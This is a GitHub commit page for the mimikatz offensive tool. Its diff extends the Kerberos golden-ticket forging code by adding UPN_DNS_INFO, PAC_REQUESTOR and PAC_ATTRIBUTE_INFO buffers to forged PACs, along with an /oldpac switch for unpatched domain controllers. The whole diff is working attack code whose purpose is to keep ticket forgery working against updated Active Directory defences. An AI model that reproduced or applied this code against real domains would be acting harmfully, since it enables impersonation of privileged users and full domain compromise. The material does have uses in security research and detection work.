Skip to content

Commit

Permalink
Added new fields in PAC INFO
Browse files Browse the repository at this point in the history
New switch for Golden::Kerberos /oldpac for original behaviour for unpatched domain controllers.

New fields added:
- UPN_DNS_INFO
- PAC_REQUESTOR
- PAC_ATTRIBUTE_INFO
  • Loading branch information
JoeDibley committed Nov 23, 2021
1 parent 501465f commit 214dc3a
Show file tree
Hide file tree
Showing 4 changed files with 91 additions and 14 deletions.
7 changes: 4 additions & 3 deletions mimikatz/modules/kerberos/kuhl_m_kerberos.c
Original file line number Diff line number Diff line change
Expand Up @@ -421,6 +421,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
NTSTATUS status;
PKERB_ECRYPT pCSystem;
BOOL isPtt = kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL);
BOOL oldPac = kull_m_string_args_byName(argc, argv, L"oldpac", NULL, NULL);

kull_m_string_args_byName(argc, argv, L"ticket", &filename, L"ticket." MIMIKATZ_KERBEROS_EXT);
if(kull_m_string_args_byName(argc, argv, L"admin", &szUser, NULL) || kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL))
Expand Down Expand Up @@ -505,7 +506,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
kull_m_string_displayLocalFileTime(&lifeTimeData.TicketEnd); kprintf(L" ; ");
kull_m_string_displayLocalFileTime(&lifeTimeData.TicketRenew); kprintf(L"\n");
kprintf(L"-> Ticket : %s\n\n", isPtt ? L"** Pass The Ticket **" : filename);
if(BerApp_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, key, pCSystem->KeySize, keyType, pSid, netbiosDomain, id, groups, nbGroups, sids, nbSids, rodc, pClaimsSet))
if(BerApp_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, key, pCSystem->KeySize, keyType, pSid, netbiosDomain, id, groups, nbGroups, sids, nbSids, rodc, pClaimsSet, oldPac))
{
if(isPtt)
{
Expand Down Expand Up @@ -580,7 +581,7 @@ NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD
return status;
}

PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet)
PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet, BOOL oldPac)
{
NTSTATUS status = STATUS_INVALID_PARAMETER;
KIWI_KERBEROS_TICKET ticket = {0};
Expand Down Expand Up @@ -634,7 +635,7 @@ PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWST
{
if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids))
{
if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize))
if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, sid, userid, domainname, oldPac, &pacType, &pacTypeSize))
{
kprintf(L" * PAC generated\n");
status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize);
Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/kerberos/kuhl_m_kerberos.h
Original file line number Diff line number Diff line change
Expand Up @@ -43,5 +43,5 @@ NTSTATUS kuhl_m_kerberos_hash_data_raw(LONG keyType, PCUNICODE_STRING pString, P
NTSTATUS kuhl_m_kerberos_hash_data(LONG keyType, PCUNICODE_STRING pString, PCUNICODE_STRING pSalt, DWORD count);
wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE_INFO_EX ticket, LPCWSTR ext);
wchar_t * kuhl_m_kerberos_generateFileName_short(PKIWI_KERBEROS_TICKET ticket, LPCWSTR ext);
PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet);
PBERVAL kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, LPCBYTE key, DWORD keySize, DWORD keyType, PISID sid, LPCWSTR LogonDomainName, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc, PCLAIMS_SET pClaimsSet, BOOL oldPac);
NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD keySize, LPCVOID data, DWORD dataSize, LPVOID *output, DWORD *outputSize, BOOL encrypt);
94 changes: 85 additions & 9 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,18 @@
*/
#include "kuhl_m_kerberos_pac.h"

BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PPACTYPE * pacType, DWORD * pacLength)
BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PISID sid, DWORD userId, LPCWSTR domainname, BOOL oldPac, PPACTYPE * pacType, DWORD * pacLength)
{
BOOL status = FALSE;
PVOID pLogonInfo = NULL, pClaims = NULL;
PPAC_CLIENT_INFO pClientInfo = NULL;
PAC_SIGNATURE_DATA signature = {SignatureType, {0}};
DWORD n = 4, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szClaims = 0, szClaimsAligned = 0, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + 3 * sizeof(PAC_INFO_BUFFER);
DWORD n = oldPac ? 4 : 7, szLogonInfo = 0, szLogonInfoAligned = 0, szClientInfo = 0, szClientInfoAligned, szClaims = 0, szClaimsAligned = 0, szPacRequestorsid = 0, szPacRequestorSidAligned = 0, szUpnDnsInfo = 0, szDomainname = 0, szDomainnameAligned = 0, szPacAttributeInfo = 0, szPacAttributeInfoAligned = 0, szUpn = 0, szUpnDnsInfoAligned = 0, szSignature = FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature), szSignatureAligned, offsetData = sizeof(PACTYPE) + (oldPac ? 3 : 6) * sizeof(PAC_INFO_BUFFER);
PKERB_CHECKSUM pCheckSum;
UPN_DNS_INFO upnDnsInfo;
PSID userSid;
PAC_ATTRIBUTES_INFO pacAttributeInfo;
LPWSTR stringDomainSid = NULL, stringUserSid = NULL, pUpn = NULL;

if(NT_SUCCESS(CDLocateCheckSum(SignatureType, &pCheckSum)))
{
Expand All @@ -31,9 +35,56 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
offsetData += sizeof(PAC_INFO_BUFFER);
}

if(pLogonInfo && pClientInfo)
if (!oldPac)
{
*pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + szClaimsAligned + 2 * szSignatureAligned;
// Convert sid and id into user sid for PAC REQUESTOR using string conversersion and converting back to sids
if (ConvertSidToStringSid(sid, &stringDomainSid))
{
if (kull_m_string_sprintf(&stringUserSid, L"%s-%d", stringDomainSid, userId))
{
if (ConvertStringSidToSid(stringUserSid, &userSid))
{
szPacRequestorsid = GetLengthSid(userSid);
szPacRequestorSidAligned = SIZE_ALIGN(szPacRequestorsid, 8);
}
}
stringDomainSid = LocalFree(stringDomainSid);
}

// Setting up PAC_ATTRIBUTE_IFNO
pacAttributeInfo.Flags[0] = PAC_ATTRIBUTE_FLAG_PAC_WAS_GIVEN_IMPLICITLY;
pacAttributeInfo.FlagsLength = 2;
szPacAttributeInfo = sizeof(PAC_ATTRIBUTES_INFO);
szPacAttributeInfoAligned = SIZE_ALIGN(szPacAttributeInfo, 8);


// Making UPN
if (kull_m_string_sprintf(&pUpn, L"%s@%s", validationInfo->EffectiveName.Buffer, domainname))
{
szUpn = lstrlenW(pUpn) * 2;

if (szUpn > USHRT_MAX)
{
pUpn = LocalFree(pUpn);
szUpn = 0;
}
}

// Setting UPN DNS INFO
upnDnsInfo.UpnLength = (USHORT) szUpn;
upnDnsInfo.UpnOffset = sizeof(upnDnsInfo);
upnDnsInfo.DnsDomainNameLength = validationInfo->LogonDomainName.Length * 2;
upnDnsInfo.DnsDomainNameOffset = upnDnsInfo.UpnLength + upnDnsInfo.UpnOffset;
upnDnsInfo.Flags = 0x00000000;

szDomainname = validationInfo->LogonDomainName.Length * 2;
szUpnDnsInfo = sizeof(upnDnsInfo) + szUpn + szDomainname;
szUpnDnsInfoAligned = SIZE_ALIGN(szUpnDnsInfo, 8);
}

if(pLogonInfo && pClientInfo && (oldPac || (pUpn && userSid)))
{
*pacLength = offsetData + szLogonInfoAligned + szClientInfoAligned + szUpnDnsInfoAligned + szPacAttributeInfoAligned + szPacRequestorSidAligned + szClaimsAligned + 2 * szSignatureAligned;
if(*pacType = (PPACTYPE) LocalAlloc(LPTR, *pacLength))
{
(*pacType)->cBuffers = n;
Expand All @@ -48,13 +99,33 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
(*pacType)->Buffers[1].ulType = PACINFO_TYPE_CNAME_TINFO;
(*pacType)->Buffers[1].Offset = (*pacType)->Buffers[0].Offset + szLogonInfoAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[1].Offset, pClientInfo, (*pacType)->Buffers[1].cbBufferSize);

if(szClaimsAligned)
if (!oldPac)
{
(*pacType)->Buffers[2].cbBufferSize = szClaims;
(*pacType)->Buffers[2].ulType = PACINFO_TYPE_CLIENT_CLAIMS;
(*pacType)->Buffers[2].cbBufferSize = szUpnDnsInfo;
(*pacType)->Buffers[2].ulType = PACINFO_TYPE_UPN_DNS;
(*pacType)->Buffers[2].Offset = (*pacType)->Buffers[1].Offset + szClientInfoAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[2].Offset, pClaims, (*pacType)->Buffers[2].cbBufferSize);
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset, &upnDnsInfo, (*pacType)->Buffers[2].cbBufferSize);
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset + sizeof(upnDnsInfo), pUpn, szUpn);
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[2].Offset + sizeof(upnDnsInfo) + szUpn, domainname, szDomainname);

(*pacType)->Buffers[3].cbBufferSize = szPacAttributeInfo;
(*pacType)->Buffers[3].ulType = PACINFO_TYPE_ATTRIBUTES_INFO;
(*pacType)->Buffers[3].Offset = (*pacType)->Buffers[2].Offset + szUpnDnsInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[3].Offset, &pacAttributeInfo, (*pacType)->Buffers[3].cbBufferSize);

(*pacType)->Buffers[4].cbBufferSize = szPacRequestorsid;
(*pacType)->Buffers[4].ulType = PACINFO_TYPE_PAC_REQUESTOR;
(*pacType)->Buffers[4].Offset = (*pacType)->Buffers[3].Offset + szPacAttributeInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[4].Offset, userSid, (*pacType)->Buffers[4].cbBufferSize);
}

if (szClaimsAligned)
{
(*pacType)->Buffers[n - 3].cbBufferSize = szClaims;
(*pacType)->Buffers[n - 3].ulType = PACINFO_TYPE_CLIENT_CLAIMS;
(*pacType)->Buffers[n - 3].Offset = (*pacType)->Buffers[n - 4].Offset + szClientInfoAligned;
RtlCopyMemory((PBYTE)*pacType + (*pacType)->Buffers[n - 3].Offset, pClaims, (*pacType)->Buffers[n - 3].cbBufferSize);
}

(*pacType)->Buffers[n - 2].cbBufferSize = szSignature;
Expand All @@ -77,6 +148,10 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFIL
LocalFree(pClientInfo);
if(pClaims)
LocalFree(pClaims);
if (pUpn)
LocalFree(pUpn);
if (userSid)
LocalFree(userSid);
}
return status;
}
Expand Down Expand Up @@ -381,6 +456,7 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize);
kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1);
kprintf(L"\n");

}
kprintf(L"\n");
}
Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/kerberos/kuhl_m_kerberos_pac.h
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ typedef struct _PAC_SIGNATURE_DATA {
} PAC_SIGNATURE_DATA, *PPAC_SIGNATURE_DATA;
#pragma pack(pop)

BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PPACTYPE * pacType, DWORD * pacLength);
BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, PFILETIME authtime, LPCWSTR clientname, LONG SignatureType, PCLAIMS_SET pClaimsSet, PISID sid, DWORD userId, LPCWSTR domainname, BOOL oldPac, PPACTYPE * pacType, DWORD * pacLength);
BOOL kuhl_m_pac_validationInfo_to_CNAME_TINFO(PFILETIME authtime, LPCWSTR clientname, PPAC_CLIENT_INFO * pacClientInfo, DWORD * pacClientInfoLength);
NTSTATUS kuhl_m_pac_signature(PPACTYPE pacType, DWORD pacLenght, LONG SignatureType, LPCVOID key, DWORD keySize);
PKERB_VALIDATION_INFO kuhl_m_pac_infoToValidationInfo(PFILETIME authtime, LPCWSTR username, LPCWSTR domainname, LPCWSTR LogonDomainName, PISID sid, ULONG rid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids);
Expand Down

0 comments on commit 214dc3a

Please sign in to comment.